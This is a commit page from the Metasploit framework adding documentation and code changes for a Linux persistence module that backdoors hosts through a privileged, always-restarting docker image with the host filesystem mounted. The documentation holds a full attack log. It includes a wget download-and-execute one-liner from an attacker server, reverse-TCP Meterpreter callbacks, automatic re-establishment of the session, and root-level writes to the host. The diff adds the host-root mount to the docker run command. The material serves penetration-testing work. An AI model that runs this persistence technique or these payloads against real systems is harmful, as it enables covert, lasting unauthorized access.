Skip to content

Commit 2bf5264

Browse files
committed
docker image persistence module
1 parent 489e0ca commit 2bf5264

File tree

2 files changed

+173
-2
lines changed

2 files changed

+173
-2
lines changed
Lines changed: 168 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,168 @@
1+
## Vulnerable Application
2+
3+
This module maintains persistence on a host by creating a docker image which runs our
4+
payload, and has access to the host's file system (/host in the container). Whenever the
5+
container restarts, the payload will run, or when the payload dies the executable
6+
will run again after a delay. This will allow for writing back
7+
into the host through cron entries, ssh keys, or other method.
8+
9+
Verified on Ubuntu 22.04.
10+
11+
## Verification Steps
12+
13+
1. Start `msfconsole`
14+
2. Get a Meterpreter session
15+
3. `use exploit/linux/persistence/docker_image`
16+
4. `set SESSION [SESSION]`
17+
5. `run`
18+
6. You should get a new session from within the docker image with `/host` mounted from `/` on the host.
19+
20+
## Options
21+
22+
### SLEEP
23+
24+
How many seconds the docker image should wait before checking if the session has died and trying to re-establish it.
25+
Default is `600`
26+
27+
## Scenarios
28+
29+
### Ubuntu 22.04
30+
31+
Get a meterpreter session
32+
33+
```
34+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
35+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
36+
verbose => true
37+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
38+
lhost => 1.1.1.1
39+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
40+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
41+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
42+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
43+
resource (/root/.msf4/msfconsole.rc)> set target 7
44+
target => 7
45+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
46+
srvport => 8082
47+
resource (/root/.msf4/msfconsole.rc)> set uripath l
48+
uripath => l
49+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
50+
payload => linux/x64/meterpreter/reverse_tcp
51+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
52+
lport => 4446
53+
resource (/root/.msf4/msfconsole.rc)> run
54+
[*] Starting persistent handler(s)...
55+
[*] Started reverse TCP handler on 1.1.1.1:4446
56+
[*] Using URL: http://1.1.1.1:8082/l
57+
[*] Server started.
58+
[*] Run the following command on the target machine:
59+
wget -qO bLEZJjLj --no-check-certificate http://1.1.1.1:8082/l; chmod +x bLEZJjLj; ./bLEZJjLj& disown
60+
msf exploit(multi/script/web_delivery) >
61+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
62+
[*] Transmitting intermediate stager...(126 bytes)
63+
[*] Sending stage (3090404 bytes) to 2.2.2.2
64+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:49368) at 2025-09-10 09:06:24 -0400
65+
```
66+
67+
Install Persistence
68+
69+
```
70+
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/docker_image
71+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
72+
msf exploit(linux/persistence/docker_image) > set session 1
73+
session => 1
74+
msf exploit(linux/persistence/docker_image) > check
75+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
76+
[*] Checking Docker availability and permissions...
77+
[*] The service is running, but could not be validated. docker app is installed and accessible
78+
msf exploit(linux/persistence/docker_image) > set payload linux/x64/meterpreter/reverse_tcp
79+
payload => linux/x64/meterpreter/reverse_tcp
80+
msf exploit(linux/persistence/docker_image) > run
81+
[*] Exploit running as background job 2.
82+
[*] Exploit completed, but no session was created.
83+
84+
[*] Started reverse TCP handler on 1.1.1.1:4444
85+
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
86+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
87+
[*] Checking Docker availability and permissions...
88+
[!] The service is running, but could not be validated. docker app is installed and accessible
89+
[*] Writing backdoor to /tmp//DoEVqOGSMX
90+
[*] Writing '/tmp//DoEVqOGSMX' (250 bytes) ...
91+
[*] Temporary container created: 3e7ce0d939e06035a34a9c00a83529631838c278de745edf8ef906ca4b04127b
92+
[+] Persistent image created: alpine_fslaxxlv
93+
[*] Transmitting intermediate stager...(126 bytes)
94+
[*] Sending stage (3090404 bytes) to 2.2.2.2
95+
[+] Container started with internal entrypoint: 0793ddcdab86a68dfa27ce265411550d9bce5c29b183890e4984d01137e741c6
96+
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:47480) at 2025-09-10 09:11:32 -0400
97+
[*] Stopping and removing temp container
98+
[*] Payload installed and running with 600-second loop in container
99+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250910.1144/2.2.2.2_20250910.1144.rc
100+
```
101+
102+
Show the running docker container
103+
104+
```
105+
msf exploit(linux/persistence/docker_image) > sessions -i 1
106+
[*] Starting interaction with 1...
107+
108+
meterpreter > shell
109+
Process 16004 created.
110+
Channel 21 created.
111+
docker ps
112+
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
113+
0793ddcdab86 alpine_fslaxxlv "/entrypoint.sh" 50 seconds ago Up 49 seconds great_cannon
114+
115+
exit
116+
meterpreter > background
117+
[*] Backgrounding session 1...
118+
```
119+
120+
Kill meterpreter to show it restart automatically
121+
122+
```
123+
msf exploit(linux/persistence/docker_image) > sessions -i 2
124+
[*] Starting interaction with 2...
125+
126+
meterpreter > exit
127+
[*] Shutting down session: 2
128+
129+
[*] 2.2.2.2 - Meterpreter session 2 closed. Reason: Died
130+
msf exploit(linux/persistence/docker_image) >
131+
[*] Transmitting intermediate stager...(126 bytes)
132+
[*] Sending stage (3090404 bytes) to 2.2.2.2
133+
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:56490) at 2025-09-10 09:21:32 -0400
134+
```
135+
136+
Show access to the host's OS.
137+
138+
```
139+
msf exploit(linux/persistence/docker_image) > sessions -i 3
140+
[*] Starting interaction with 3...
141+
142+
meterpreter > cat /etc/os-release
143+
NAME="Alpine Linux"
144+
ID=alpine
145+
VERSION_ID=3.22.1
146+
PRETTY_NAME="Alpine Linux v3.22"
147+
HOME_URL="https://alpinelinux.org/"
148+
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
149+
meterpreter > cat /host/etc/os-release
150+
PRETTY_NAME="Ubuntu 22.04.1 LTS"
151+
NAME="Ubuntu"
152+
VERSION_ID="22.04"
153+
VERSION="22.04.1 LTS (Jammy Jellyfish)"
154+
VERSION_CODENAME=jammy
155+
ID=ubuntu
156+
ID_LIKE=debian
157+
HOME_URL="https://www.ubuntu.com/"
158+
SUPPORT_URL="https://help.ubuntu.com/"
159+
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
160+
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
161+
UBUNTU_CODENAME=jammy
162+
meterpreter > shell
163+
Process 19 created.
164+
Channel 3 created.
165+
touch /host/root/pwnd
166+
ls -lah /host/root/pwnd
167+
-rw-r--r-- 1 root root 0 Sep 10 17:02 /host/root/pwnd
168+
```

modules/exploits/linux/persistence/docker_image.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,8 @@ def initialize(info = {})
2424
container restarts, the payload will run, or when the payload dies the executable
2525
will run again after a delay. This will allow for writing back
2626
into the host through cron entries, ssh keys, or other method.
27+
28+
Verified on Ubuntu 22.04.
2729
},
2830
'License' => MSF_LICENSE,
2931
'Author' => [
@@ -64,7 +66,8 @@ def initialize(info = {})
6466
end
6567

6668
def check
67-
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
69+
# we don't need this check since the payload is in the docker image
70+
# print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
6871
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
6972
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
7073
return CheckCode::Safe('docker is required') unless command_exists?('docker')
@@ -132,7 +135,7 @@ def install_persistence
132135
cmd_exec("docker rm #{tmp_container}")
133136

134137
# Step 5: Start container with internal entrypoint
135-
container_id = cmd_exec("docker run -dit --privileged --restart=always #{persistent_image} /entrypoint.sh").strip
138+
container_id = cmd_exec("docker run -dit --privileged -v /:/host --restart=always #{persistent_image} /entrypoint.sh").strip
136139
print_good("Container started with internal entrypoint: #{container_id}")
137140

138141
# Step 6: Add cleanup commands for RC

0 commit comments

Comments
 (0)